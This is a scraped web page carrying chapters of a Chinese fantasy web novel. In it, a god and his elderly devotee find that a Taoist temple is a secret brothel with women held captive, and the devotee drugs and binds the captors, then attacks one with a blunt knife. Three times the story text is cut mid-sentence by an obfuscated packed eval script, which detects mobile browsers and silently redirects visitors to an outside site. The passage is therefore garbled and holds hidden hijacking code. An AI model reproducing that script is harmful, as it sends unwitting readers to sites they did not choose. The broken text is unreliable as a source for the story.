$(''#content'').append('' 在对方的职业光环下,应该不懂这世间的弯弯绕绕。” 衡羿知道囡吉是在计较,他刚刚对小信徒发火的事。 “我和她的事,你又知道多少?” 再者说,就算她不是他的小信徒,她是他的小妻子,哪有给他安排女人的? 他还不能为了这个生气吗?这都多少次了! 况且,这次还是安排的修道者。 让他怎么偏袒她? 都不知道她究竟安得什么心思,天上的神现在都拿他当笑话看。 囡吉嫌弃地看了他一眼:“你和夫人经历的事再多,你不也还是不相信她么?” 衡羿低头看了看自己这一身的伤,都气笑了。 “让我怎么相信?一个修道之人,若非被人逼迫,还能如此对待我?” 他是见过当初不敢上他的鲁绒绒,被小信徒和柳春逼迫的。 当时还是她们摁着他,要鲁绒绒放心大胆地上。 以至于,后来鲁绒绒都魔怔了,差点儿又把他强一次,好好的孩子,就这么被教坏了。 囡吉冷哼一声:“你真是眼盲心瞎。你想过没有,开在闹市的妓院,总是被人查来查去,人家就不会挪个窝?变换形式?” 衡羿突然变得比之前还要愤怒:“你这是什么意思?” 囡吉狠了狠心:“我本来不想说得这样露骨,可是,暗娼就是暗娼。你看不出来,不代表她们不是。” 衡羿当初在和尚庙里,看见过那种叠和尚的事,都恨不得把庙给劈了。 哪怕,那是佛家的管辖范围,不干他这修道者的事,就算是清理门户,也轮不到他来。 如今,听到囡吉这样说,顿时气得从地上站了起来,推开门走了出去。 他根本不相信她的话。 再待下去,恐怕真的会被她气死。 囡吉追了出去:“你真是个榆木脑袋。我都跟你说得这样明白了,你还是不相信。” 衡羿在人间转世的时候,也是当过妓女的,所以知晓里面的氛围。 “我们刚来的时候,只有一个小坤道来接,哪有半点妓院的影子?若真是妓院的话,人家不知道来招揽客人?” 囡吉白了他一眼:“我不是说过,变更形式,就是防止人来查吗?只要查不到痕迹,就无法查封,产业也不会变更。” “方才,对方正是按照正常香客来接待的,夫人也是如正常香客一般捐钱,可冥冥之中却贴合了招妓的流程。所做的一切都是暗着来的,让你根本查无可查。” 衡羿蓦地想起,抚风情急之下,对自己说过的一句话—— 你都来这儿了,他妈的到底在装什么啊? 当时,他还以为,她是根基深厚,一眼看出他是道家的神,却在这里装凡人…… 再加上自己私自下凡,本就心虚,因此,哪怕是被修道者无端指责,也并没有多想。 只顾着追究,是谁让她来找自己的?是不是被迫的? 他既是道家的祖师爷,自然要护着道家的孩子。 哪能让人这么欺负她…… 衡羿正这般想着的时候,却看到对面的三楼处,有穿着贵妃服饰的女子,假笑着出来后又回过头,往门的方向啐了一口。 之后才扬长而去。 66. 就连你此番下来 囡吉沉声解释道:“山野之间,无人管辖,向来玩得花。扮什么的都有,道士、尼姑、贵妃、渔家女……只要银钱到位,任何需求,都会满足。” 衡羿心下一痛:“她知道吗?” “夫人怎么会知道呢?她完全是误打误撞上了。平日里,也有要名声的王公贵族,伪装成一家子的香客,来这里招妓的。彼此之间根本不用多说,留下的痕迹越少越好,半夜里直接往房间安排人。” 和自己遇到的,是一模一样的路数。 衡羿直到此刻,才真正地接受,这里是暗娼馆的事实。 可他的小信徒却是认真供奉过的。 他忽然心疼道:“你怎么不早点告诉她呢?” 囡吉无奈地笑了笑:“要我说什么呢?告诉她受骗了吗?还是要我告诉她,这天下间,已经没有正经修道的地方了。你不觉得,这对一个老人家来说,太过残忍了么?” “你是没见过老人被骗过吗?老人所珍惜的并非是钱财,而是自己的阅历和认知,被污糟的世道狠狠践踏。有些老人因为被人欺骗,嘎嘣气死过去的都有呢!” “一个敢跟老爷正面刚的暴躁小老太,捧着自己此生都没有见过的巨额银两,去为世间正在受苦的人虔诚地祈福。然后,你要我告诉她,别捐了,她们都是妓女,这是在招妓。所有的供奉仪式,都是掩人耳目的交易。这跟把她捧出来的心,狠狠踩进泥里有什么区别?” “我是很在乎银子,可是,我看不了夫人伤心。夫人眼里的光,总是清清亮亮的。夺走她的光,让她见证信仰的破灭,就跟剜下她的眼睛一样。小老太有时候,实在是痴愚得让人心疼。” 衡羿想起之前,小信徒在寺庙门口痛哭。 她哭的,不是爹娘捐了银钱,自己却没办法在这里吃口斋饭。 而是,爹娘生前的信仰和寄托,于顷刻间幻灭。 囡吉轻喃道:“反正,我是舍不得告诉她的。我甚至,希望她不要发现。如果不是你,今晚睡一觉,明天就走了。都怪你!” 囡吉和那些自持清醒理智的男子不一样。 他们看见她的小泥人就要怒摔,看见她乱捐钱就要阻止,看见她的信仰是假的就要嘲笑……就算做的是对的事,也丝毫不理会她的感受。 可在囡吉这里,对错并不重要。 她永远尊重夫人,夫人永远是对的,也永远舍不得伤害夫人。 夫人的确错信了道观里的人,但这并不是夫人的错。 夫人的发心没错,道观里的女人也没错,错的是这个世界。 “夫人对妓女都是很怜惜很怜惜的,她怎么可能给你安排呢?你也配!就算她之前有安排人强上你,那大概也不是为了逼迫女子,必然是逼不得已才这样做的。你怎么不找找自己的原因?非要让人逼着女子上你,你不知道主动一点么?” 囡吉说完就气冲冲地进去了。 衡羿看了看院落中的一棵老枣树,他走上前踹了一脚:“出来!” 一个小孩子捂着屁股,从树里跌了出来,眼含泪光地控诉道:“还有没有王法了?你们两口子闹别扭,拿我撒什么气?好歹你也是个神仙,怎么比精怪还不讲理?真是服了!” 无论是寺庙还是道观,都会留有一个守护神。 之前寺庙里的是金身罗汉,道观里的自然是道仙。 只是,衡羿找了半天,也没看见道观的守护神,只有一棵修炼了几百年的枣树精留守着。 看来是刚修炼成人形不久,还是小孩子的模样。 “这道观的守护神呢?” “师父算到自己近日有一难,出去避难去了。” 衡羿都给气笑了,天天在这人间,不是气死,就是气笑。 怎么自己手底下的人,还学会避难了?他之前还说人家佛教管理混乱,看来他这道教也没好到哪里去。 “他算出自己有什么难?” “不知道,师父没说。只说让我守在这里。他还说,有些话,他说不行,但我说可以。因为,童言无忌。” 衡羿想来应该是这里的守护神,怕见了他的面,到时候不好交代经营方面的事,所以才推了个小树精给他责问。 “你一直在这里修炼?” 小枣树精拍了拍身后的树:“是呀,没看我都长这么这么大了吗?我快要历雷劫了,等历完雷劫就是半仙了!” 衡羿沉声道:“既然你早就知道这里的营生,还眼睁睁地看我找她去闹,为什么不出来提醒我?” 他快要气死了。 这都是些什么下属啊?没一个省心的! 他的小信徒,都已经病重了,还要接受他无端地质问。 而且,他居然还,拿着她的手,让她摸他,还对她说了那些讽刺至极的话…… 实在是,太冒犯了。 衡羿现在就是后悔,特别后悔! 等小信徒醒过来,他都不知道要怎么圆这件事。 就算是大晚上地发癫,这也没个缘由啊! 哪有逼着小老太强上自己的? 他可能,是疯了。 小枣树精愣了一下。 他以为,衡羿仙君会先责问他,道观为何要容纳这些人在这里,做这般不为世间所容的事? 没想到,居然是问他,为什么不提醒他,别去跟媳妇儿吵架…… 小枣树精一本正经道:“不能干涉他人的因果,亏你还是掌管三界的神君呢,怎么连这个都不知道?还为这个踹了我一脚,我都没地儿说理去!” “再者说,你本就有过去的心结没解开,不然也不会先入为主地给人定罪。否则,就算这次不闹,下次再遇上个类似的事儿,你还是会去跟她闹的。你去闹,并不是你错信他人,或是被人蒙蔽,说到底是你看不起自己的媳妇儿!” “你从始至终都觉得她偏执又痴愚,行事也没有什么章法,就算别人不把责任推去她那里,你也觉得这是她能干得出来的事。在你心里,你当然更偏心断情绝爱的修道者一些。” “就连你此番下来,也并非是认可她的感情,而是带着高高在上的施舍。此去由着你闹一通也好,虽然挨了你那泼辣媳妇儿几巴掌,你这心里倒也痛快了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但凡她不那样固执,就能既保住家产,又能做一品诰命夫人。怎么看都是享不完的福,我真没见过这么作践自己的。一副好牌打了个稀巴烂!” 衡羿本想发怒,可是从人间的角度看,确乎如此。 就连他,也曾希望她能生活得好一些,不要让他那么牵挂。 她毕竟是在人间。清高和正义,悲悯和坚守,实际上,是没有半点用处的。 花老爷曾经有四个字很实用——在商言商。 既然是生意人,那人性的阴暗处,其实是不怎么重要的,能让他赚到钱就行。 因此哪怕被宋礼遇的爹,屡次磋磨得回家嗷嗷哭,第二天还是舔着脸过去赔笑。 买内幕消息,求矿产生意,探批文动向…… 不管对面是宋礼遇的爹,亦或是什么别的人,无论这些人多难打交道,最后花老爷都会巧妙地跟对方牵扯上关系,才不管对方是不是坏人。 67. 经历过昨晚的事 他只知道,自己身后,有一大批伙计,等着吃饭呢。 为了支撑起一个庞大的家业,他什么人都能打交道。 自身的一些限制规则,也就显得不那么重要。 哭是内在性情,笑是职业素养。 在商言商,在人言人。 既然她逃不开人世的种种,那是否可以不要那么孤僻倔强,好好地做一个享清福的人呢? 所有人都觉得,她理应有灿烂美好的人生,从知书达礼的富家千金,变成运筹帷幄的权臣夫人。 可她偏偏,变成了一个市侩暴躁的小老太。 只是一念之差而已,所造成的人生差距,三十年都补不回来。 小枣树精惋惜道:“可能是我还没有得道成仙的缘故,境界也跟不上你们这些仙君,但我觉得,你的小媳妇儿从一开始就错了。你看她这三十年的日子,过得还没这里的女人滋润。与其空等着一份念想,不如及时行乐,过一天算一天。” “你可能觉得,这里是道观,本不该容纳这些女子。但是,现在是乱世,你让她们去哪儿呢?在这里,至少服侍的都是达官贵人,赚到的钱还能养活家里老人和孩子。来这里的女人,甚至有不少是被自己丈夫送来的,可见乱世嫁人,也并非什么好去处。谁知道嫁的是人是鬼呢?” “如果注定自己要被资源置换的话,那与其在大街上,被一碗热粥置换,不如置换为金尊玉器。” 小枣树精之所以这样说,是有原因的。 他怕衡羿将这些女子赶出去。 世道越来越乱,赶出去是真的没什么活路了。 就连花祝年那种穷乡僻壤的地方,都免不了被流兵骚扰。 鲁绒绒差点儿被抢走。 这里的女子,出去后,又能如何呢? 外面的肉食者,总是高高在上的。 一边嘲讽着妓女的自甘堕落与下贱,一边不遗余力地逼良为娼。 呵。 衡羿其实从始至终,都没有问小枣树精,为何要容纳那些女子。 是对方主动交待的。 但其实,他不是很想管。 神是不必理会凡人生死的。 讲得更深一点,是不必理会凡人怎么生,也不必理会凡人怎么死。 哪怕这借的是他道家的场所。 如果只是为了保证场所的清净,就将在这里谋生的人赶出去,眼看着红粉变成白骨,那这道,似乎没必要再修了。 虽然,道观变暗娼馆,会让人有幻灭感,但是这是没办法的事。 至于道家,有陨落,就会有兴起,再衰落,再兴起……如此循环往复。 衡羿从来没有把这些当回事儿过。 他对小枣树精说道:“你放心,我不会赶这些人离开的。她们可以继续在这里生活,你也能继续在这里修炼。” 衡羿想,这可能就是道观原有的守护神,想托小枣树精向他转述的意思。 作为下属,不好直说,担心受到责罚,才假托于他人。 衡羿回房间后,夜幕上突然降下天雷。 将院子里的那棵长了几百年的老枣树,硬生生地围着劈了一整夜。 雷声炸裂,响彻天地,将来这里寻欢作乐的男人,一个个吓得萎靡不振,疲软地趴在床上。 小枣树精在外面鬼哭狼嚎,对着衡羿骂骂咧咧道:“天杀的,你这个冷漠老仙贼!为什么要这么劈我?此番我若是熬不过去,连人形都保不住。不是说好不计较的吗?” 衡羿躺在床上,气定神闲地问他:“你知道,什么时候,掰苞米吗?” “呜呜呜,我掰你大爷!还掰苞米,我一个枣树精,掰哪门子的苞米?啊啊啊啊,疼死老子了!别劈了,再劈真遭不住了!” 衡羿闭上了眼睛,想象着他的小信徒,大半夜趁着天气凉爽,在地里掰苞米的样子。 清晨,太阳缓缓从薄雾中升起,柔光照拂在她的脸上。 很美。 小枣树精,可以怜惜这道观中的女子,可以认可她们为了谋生所做的一切,甚至就是小枣树精自己,去做宋礼遇的男宠也行。 但是,不要用他人的选择,来嘲讽他的小信徒。 因为,小信徒一点儿也不失败,她是特别特别好的小信徒。 天亮后,小枣树精终究没能扛过整夜的天雷,完全丧失了人形。 没能从树精变成半仙,又要从头开始修炼了。 它晃动着树叶,对着衡羿骂道:“天杀的,你这个老婆奴!看看你现在,哪儿有半点神君的样子?该被雷劈的是你吧,老子只不过是嘴了她几句,可也只是站在人的角度来看,又没说她别的,你简直公报私仇!” 衡羿走到它面前,拍了拍它的枝干:“你本来也要受雷劫,此番只是提前了。没抗住就是没抗住,跟我是没什么相干的。” “老子修了几百年,几百年啊!一棵树能有几个百年啊?” 他对他好声劝道:“等什么时候有一天,你不觉得我的小信徒失败了,就是得道升仙的时候了。” 小枣树精哭闹道:“看吧,你还是觉得我嘴了她。天杀的,我去哪儿告状啊?衡羿仙君为妻杀树啦!我要让所有精怪都看清你的真面目,我永远都不会原谅你的!” 衡羿正扶着树轻笑的时候,那日的金身罗汉,突然出现在他的身旁。 “仙君,当日你的小妻子,一把火烧了我那寺庙,烧死的佛弟子众多,不知道今日,她若是得知这里的勾当,会不会烧了你这道观啊?” 衡羿瞬间敛起了笑容,转过身看向那位金身罗汉。 对方一如既往地对他行礼:“她身上的福德,本就所剩无几。再造杀戮的话,会下地狱的。” “我不会让她知道。” 金身罗汉笑道:“可我会让她知道。” 一转眼,罗汉就变成了一个蓬头垢面的女子,急匆匆地冲撞进花祝年的房间。 衡羿来不及阻拦,连忙跟了进去。 花祝年正在洗脸,无论多么累,病成什么样,她都会好好洗脸的。 就是走,她也想干干净净地走。 尽管,年纪上来了,是很难维持体面的,但她仍不愿太狼狈地死去。 突然冲进来一个人,跪下抱住了她的腿,她一个没站稳,被撞倒在地。 衡羿看到后,眉间微皱,上前将小信徒扶了起来。 经历过昨晚的事,现在怪尴尬的。 可小信徒顾不着理他,满心扑在金身罗汉幻化成的女子身上。 “夫人,你救救我吧。这里根本不是什么修道院,是暗娼馆!自愿干的都在外面,被迫的全在地牢里关着。她,她们,同为女人,却逼良为娼!” 衡羿心情沉重地看向窗外的那棵枣树。 他没有被骗,只是,小枣树精没有同他说全。 只告诉他,这里好歹给了那些女人活命的地方,却隐藏了被迫的辛酸。 不全是自愿的,怎么可能全是自愿的呢? 其实,昨晚的雷劫,的确是他提前召唤了。 但并没有在此基础上加重。 小枣树精没有抗过去,果然还是有问题。 天道选他作为代理人执掌三界,可他也难免有被欺骗的时候。 欺骗他倒是没什么关系,欺骗天道就遭老罪了。 囡吉看着地上的女子,内心酸涩得要命。 这些,是管不过来的。 可她看夫人已经伸出手去,将对方扶了起来。 花祝年虽然一时难以接受,但还是强装镇定地问她:“地牢在哪里?” 衡羿眼里满是心疼。 她经历过一次信仰的破灭,却没有像在寺庙门口那样绝望,连哭的时间都没有,第一时间想的是救人。 金身罗汉还来不及说什么,昨晚同花祝年交谈的道长,已经带着人走了进来。 对方一如既往地平和淡定,可手上的力气却奇大。 金身罗汉所幻化的女子,瞬间被拉拽了过去。 “夫人,给您添麻烦了。” 她根本不需要解释什么,面对花祝年也丝毫不心虚。 毕竟,她和昨晚的抚风一样,觉得这群人都来到这里了,还装什么? 势必是认可这种事的。 有人偷跑出来,不过是一个小插曲。没人会真的在意她,更不会有人救她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508688|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 花祝年想要伸出手再去拉那名女子:“我想找她陪我聊聊天。” 不成想却被那位道长一把挡住:“夫人,道观有道观的规矩,希望您遵守。没有被调理好的女人,是不允许跟客人说话的。” 说完就将人带走了。 花祝年等人走出一段距离后,才追出去悄悄地跟在后面。 囡吉见她连脸都没擦,拿了块手巾就跟了过去。 花祝年是想借此找到地牢的位置,而对方似乎知道她在跟着,也并未防着她。 地牢是半地下的,留着一个小窗在外面。 花祝年隐约能看到里面有很多人,瑟瑟发抖地挤在一起。 既然已找到了地方,那就有机会救。 可就在她刚松了一口气时,刚刚才向她求助的女子,忽地被人一棍子撂倒在地。 脑袋当时就爆开了。 花祝年是杀过人的,可她杀的都是恶人。 从没杀过柔弱无辜的人。 她当即就气红了眼睛,四处寻找着工具,准备过去干一场。 囡吉吓得连忙拉拽住花祝年:“夫人,不、不能过去。这里的人都是有靠山的,而且,为了保护客人的私隐,避免日后麻烦,他们从不主动打听客人的具体身份,都是只认车队不认人的。我们并没有表露身份,虽是宋府里出来的,但被人解决在这荒郊野岭里,也不是没有可能。” “我们走我们的路,他们走他们的路。各走各的,本是互不相干。有句话,怎么说来着?那个,不能背别人因果。” 花祝年神情恍惚道:“因果?她们种了什么因,要受这种果?不,我不信因果,我不信这个。这都是,糊弄人的。” 囡吉此刻害怕极了,其实,她隐约预感到,那群人有暗暗震慑的意思。 “夫人,我们快离开这里吧。本来,今早也是要走的。早走早回家,您不是想家了吗?” 花祝年现在异常愤怒,可还是不得不,硬生生地把火气压下去。 她觉得,如果贺平安在她身边,应该会跟她一起解决掉这些人。 金身罗汉离体后,又回到衡羿身边。 衡羿问他:“你什么时候来到这里的?” “寺庙被毁后,守护神也没有了用处。我只能借助不同的皮囊,流转人世间,见证世人苦难。” “对你来说,是副皮囊,对她来说,是条人命。” 衡羿知道金身罗汉是想借花祝年的手,解救这些人。 可是,他的小信徒不能再造杀戮了。 功过终究是无法相抵的。不是说为了救人,就能杀人了。 如果单单救人还好,可她势必不会放过这些人。 可能,这次连家都回不去了。 她会死在这里吧。 他这么快,就要给她收尸了么? 本来,他还以为,应该还能跟她再相处些时日的。 太快了。 衡羿还没有准备好。 他们昨晚才吵过架,或者说,是他单方面无理取闹。 囡吉扶着花祝年往回走,她小心地试探道:“夫人,我现在就收拾东西,我们马上离开这里。” 花祝年的声音又冷又沉:“不急,再住两天。” “还留下来做什么呢?这里,已经不是修道之地了。难不成,您是想把捐出去的钱再要回来吗?我们还没有走多远,不如回去问老爷要吧!老爷有的是钱,就别跟这里的人有牵扯了,一般能管住场子的,都是坏到骨子里的狠人。我们根本弄不过人家。夫人,我还小,我不想死。” 囡吉知道夫人是个很生猛的小老太。 她在府里就看出来了。 可是,老爷是因为爱夫人,才默许纵容的。 若是到了外面,失去老爷的庇护,没有人会拿一个小老太当回事儿的。 女人在乱世本就难活,一个小老太就更难活了。 夫人身体又不好,跟人吵个架都大喘气,可千万不能蹚这趟浑水。 这是死路一条。 花祝年用冰冷的手,爱怜地摸了摸她的脸:“不死。我们不死。只是我有些累,要多休息两天,才能继续赶路。” 68. 她是真癫 皇城内,钦天监被紧急召入宫中密谈。 “朕最近夜间入眠之时,耳边总萦绕刺耳的磨刀声。而且,这声音还不一样。时而凌厉,时而闷钝,这是为何啊?” 钦天监小心斟酌着言语:“臣夜观天象,发现,发现了古书上,所记载的荧惑守心之象。” 皇帝老儿面色微沉:“说人话。” 整这乱七八糟干啥?他一个靠着起义当上皇帝的粗人,哪儿听得懂什么是荧惑守心? 钦天监满脑门儿汗,哆哆嗦嗦地解释道:“呃,荧惑是火星,掌天下刑罚。至于这心宿三星,天之正位。心宿一,是太子,心宿二,是帝星,心宿三,是庶子,均属皇室。” 他觉得讲到这里,皇上应该听懂了,不能再说下去了。 再说下去,他怕自己脑袋不保。 哪料皇帝转过身厉声问道:“之后呢?你倒是说啊!要朕一点一点问你吗?” “这惑守心之象,实则是说执掌刑罚的火星,冲、冲撞了天之正位的帝王之星。古书上说,此象一旦出现,预示着帝王有灾。” 他的话音刚落,脸上就砸过来一只茶碗。 茶水四溅,烫得他一哆嗦,忽地跪倒在地上,忙不迭地磕头。 皇帝震怒道:“火星算什么东西?朕是帝王,它怎么敢冲撞朕?” 钦天监头抵在地上,无助地辩解:“不是冲撞您,是火星在天上运转的时候侵入了帝星。这是星星和星星之间的事。” “那你说帝王有灾!朕能有什么灾?火星掌天下刑罚,谁敢来惩罚朕?” 钦天监无奈道:“其实,这只是古书上所记载的,虽说是在天成象,在地成形,但也不一定是真的。” “嗯?” 钦天监瑟瑟发抖地解释:“不,一定不是真的!不过是天象而已,怎可当真?皇上有天命在,是天子,没有人敢冲撞您,也冲撞不了您。” 钦天监这一通说,才勉强让皇帝老儿的心,痛快了几分。 “那,可有破解之法啊?” 真是无语。 又不信,还问他破解之法。 可自己面前的毕竟是帝王,钦天监也不敢说什么。 只能老实巴交地回道:“古书上说,需要立德,或可解祸。” 皇帝再次震怒:“你是说朕德不配位?” “不不不,皇上,臣,臣是说……这,这是古书上讲的。但由于时间久远,可能早已脱离实际,不具备破解的作用了。所以,臣另想了一个破解之法。” 为了保住自己的脑袋,钦天监也是豁出去了。 对付不爱听实话的人,只能说说假话哄着了。 “皇上夜间听见磨刀声,应该跟荧惑守心之象没什么关系,想必是自身的神力所致。古书上有说奇人异象,可视千里之境,可听千里之音。臣想大概是京城里,有人夜间在家里磨刀,吵到了您。” “这个事儿好办,皇上让下面的人夜里挨家挨户地搜查警告,不许夜间磨刀就是了。另外,可张贴告示,夜间磨刀者,斩。定能形成震慑,让百姓不敢再夜间磨刀。” 钦天监知道自己说的不是人话,干的不是人事儿。 但他也没有办法。 总共就拿那么点儿俸禄,谁肯为了说句真话就拼命啊。 虽然大晚上让官差去敲百姓家门,会惹得百姓不安,但别管有用没用,至少他也算出了个破解之法。 让皇上立德,又不立。 他能怎么办? 过一天算一天,瞎几把过吧,搞不好哪天皇帝就没了。 反正,这荧惑守心之象,古书上每次出现,必出大事。 天下间,又不只他一个懂天象的。 一般情况下,早有那过不下去的,该借着此象轰然起义了。 反正大家迟早要完,他费这个闲心干嘛? 这窝囊日子,他也过够了。 星星是不会骗人的。任人如何不愿接受,都无法改变它的运行轨迹。 他还是更喜欢和星星为伴。 可惜,当今的皇帝荒淫无道,不重视钦天监的作用,致使大批人才流失。 如今观星的是越来越少了。 等这王朝完了,他就去当个隐士,天天在山里观星星。 那日子才自在。 可是他家世代钦天监,不知道到时能不能放他走。 无论江山怎么易主,都会厚待他家,可见掌握一门技术的重要性。 花祝年说是留两天,可实际上留下来的,可不只两天。 她这些天,白天在前院打枣,晚上在后院磨刀。 打枣是为了吃枣糕,她做的枣糕特别好吃,有些日子没做过了。 小枣树精天天跟衡羿骂骂咧咧。 囡吉跟衡羿一起,蹲在树下吃枣糕。 不过,倒也不白吃。 花祝年让衡羿出钱,夜夜喊女人来房间。 让他问她们一些话。 衡羿本不想做,但枣糕确实好吃,只能勉强同意。 花祝年夜里磨刀,道观里的人,并没有怎么当回事。 毕竟,来这里的客人,怪癖向来很多,就连夜里打铁的都有。 磨个刀算什么? 况且,她又是在后院磨的,也吵不着别人。 她磨了两把刀。 一把往利了磨,一把往钝了磨。 囡吉摆了个小茶桌,在一旁守着她,桌子上还放着她做的枣糕。 花祝年的身体不好,磨一会儿,就要歇一会儿。 歇够了继续磨。 衡羿按照小信徒交待的,每天在房间里跟不同的女子交流,逐渐地锁定了一些人。 记录在册的人,被他勾勾画画。 减了又添,添了又减,最后又无奈地添上。 金身罗汉笑他:“你这跟阎王爷似的,在上面的人一个都跑不了吧。” 衡羿无奈道:“所以,才更要仔细。省得错杀了好人。” 小信徒虽然没跟他说,这份名单具体是做什么的,但他已然知道了。 杀人,他是没办法帮她杀的。 他不能介入凡人的因果。神魔两界都在盯着他的一举一动。 况且,就算没人盯着,他也不会为她杀人。 小信徒他虽然怜惜,但在他心里,并没有那么重要。 他的生命太过厚重,活得也足够长久,而她之于他,不过是一瞬而已。 没有哪个神,在无穷无尽的生涯中,将须臾之间的凡人,看得如何重要。 她的存在,太过微不足道。 等这个狂热的小信徒死后,他应该,很快就能忘记她。 然后继续过他平静安稳的神仙日子。 现在,以凡人的身份,帮她打探消息,记记名单,已经是他所能做到的极限了。 否则,神魔两界看笑话,倒还是其次,天道也会惩罚他的。 衡羿并不想为了一个痴愚的小信徒被撤神职,甚至坠魔。 她不配他堕落至此。 他也不会因任何人,做出什么出格的举动。 就连他前世的小妻子也不行。 倘若不是她太痴愚,他们连今天这段极浅的缘分,都不该有的。 深夜,囡吉本来正睡着,却感觉有人从自己身上越了过去。 好像还摔了一脚,动静不小。 囡吉睁开眼睛,发现夫人摔去了床下。 她之所以睡在外侧,就是担心夫人摔下去,怎么还是摔下去了? 她刚想下床去扶她,就见夫人转过头,轻拍着她的肩:“我喝口水,没什么事儿,睡吧。” 囡吉之前陪了夫人磨了很久的刀,现在也确实是困,所以就又睡下了。 花祝年扶着自己的腰,颤巍巍地站起来,悄无声息地打开门,摸黑走了出去。 衡羿的房门被人从外面打开,他翻了个身,继续装睡。 花祝年上去就是一脚。 踹得很重,他装不下去了。 “花大娘,什么事儿啊?” “跟我去绑几个人。” 衡羿低头揉了揉眼睛:“你怎么不找囡吉?” “她还小,干不了这个。” “那我也还小,我不敢。而且,我的手是拿笔的,不是——” 他话还没说完,就挨了小信徒一巴掌。 “几天没抽你就不老实!快点儿,下床跟我去绑人。” 衡羿在她身后小声嘟囔:“我怎么不老实了?我这还不老实啊?你交待的什么事,我没帮你做?就是绑人这个,我又没干过,还不能害怕么?我一个读书人,怎么能——” 花祝年忽地停住了脚步,气冲冲地回过头看向他,衡羿立即止住了声音。 他不想再被她打了。 不就是绑几个人么?他绑。 花祝年这些天的确借了道观的后厨,在做枣糕。 但是枣仁她没扔,全都磨成了粉末,暗暗加在这些人日常的食物酒水中。 枣仁有安神的功效,但过量服用,会让人在睡得很沉的同时,造成四肢麻木。 等把该绑得都绑出来后,花祝年让他在这里等着。 自己去地牢救人。 衡羿想跟着一起去,却被她拒绝了,她说被关在那里的女子,见到男子会惊恐加剧。 到时候,可能因为他在场,她们都不愿意跟她出来。 况且,前些天,这些人才刚刚见证过,逃出去的同伴被一棍子敲死的场景。 留下了那样大的阴影,走出来恐怕也不容易。 事实证明,花祝年不让衡羿跟着是正确的。 就连她一个人畜无害的小老太,都过去说了半个时辰,才仅仅说动了几个人跟她出来。 哪怕她已经把地牢打开了。 困住那些女子的,从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520412|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是紧闭的牢门,而是反抗后被狠狠打压的血腥和暴力。 她们不相信一个小老太会救自己。 可能,是陷阱。 用来杀一儆百的陷阱。 地牢里还剩了很多人,死活不愿意出来。 她们坚信,她是被派来试探的。 但凡有逃的心思,就会跟那个同伴一样,被一棍子敲死。 花祝年没有办法,已经耽误了太久,天都要亮了。 她还得办事儿呢。 能带出去几个算几个吧。 这里虽是暗娼馆,不过作息还是很规律的。 到点就做早课,乍一看,跟寻常道观也没什么不同。 可是等那些女子醒来后,发觉身旁的客人已然不在了。 出门一看,全被五花大绑地丢在了院子里。 不只是客人,还有看场子的人,以及那些在街上物色女人的人…… 全被花祝年精准地挑了出来。 没被绑的女子,虽是自愿,可也不是那么自愿,只能说生计所迫。 没有人知道花祝年这个小老太要做什么。 大家内心隐隐有种不好的预感,可同时又对这种预感有所期待。 囡吉这时候也醒了过来。 她出门一看,整个人都吓傻了。 想拦,可是已经晚了。人都绑起来了,若是再放了,对方势必不会饶恕他们。 花祝年坐在一个石碾子上,手里拿了面锣,有节奏地敲击着。 山野间,群鸟飞散。 自己敲累了,就将锣丢给衡羿:“帮我敲会儿。” 衡羿站在枣树下,不情不愿地敲着。 他的性情不似她那般暴躁,对这里绑着的人也没有恨。 锣声听起来甚至还有些温和。 小枣树精在一旁闹道:“你们两口子整宿整宿地不睡觉,怎么也不让别人睡啊?我刚损失了几百年的修为,又被你媳妇儿打去了好些枣,现在要静养。” 花祝年嫌衡羿敲得不好听,声音太闷,看了看囡吉:“要不要敲敲看?” 囡吉怯怯地摇了摇头。 她害怕惹上麻烦,这里被绑着的男人,大多非富即贵,有几位她甚至是认识的。 密集的锣声不仅吵醒了被绑着的人,还激怒了他们。 其中一个看场子的人率先骂道:“你这个老妖婆,到底要干什么?知不知道我们是谁的人?” “别看你是宋府里出来的,我们背后的人,还真不怕那个宋礼遇。” 这事,囡吉是信的。 皇亲国戚怎么会怕一个权臣呢? 他们是一起捞钱的合作伙伴,是互相打掩护的利益同盟。 唉。 她觉得这次,小老太要闯祸了。 哪料花祝年从石碾子上下来,走到刚刚从地牢里出来的几个女人面前。 拿起自己磨了几天的刀递给她们:“你们谁去把她砍了?” 大家心里虽是恨得紧,可是并不敢真的拿刀砍人。 当恐惧压过愤怒时,就会变成这样。 不能怪她们。 其实不只是她们,就是跟随花祝年的那些家丁,也不敢上前动手。 只是听话地在门口守着。 花祝年轻喃:“我砍也不是不行,就是我的腰不太好。” 她走到刚刚跟自己叫嚣的人面前,对方此时还是摆出一副天不怕地不怕的态度:“来,你往这儿砍!我死了,你也活不成。” 花祝年没有犹豫,举起刀忽地砍了下去。 没砍断。 她用的是夜里磨的钝刀。 被砍的人,视死如归的那口气,顿时倾泄了出去,吓得屎尿俱下。 对方还来不及求饶,花祝年冷静地又砍了一刀下去。 又没断。 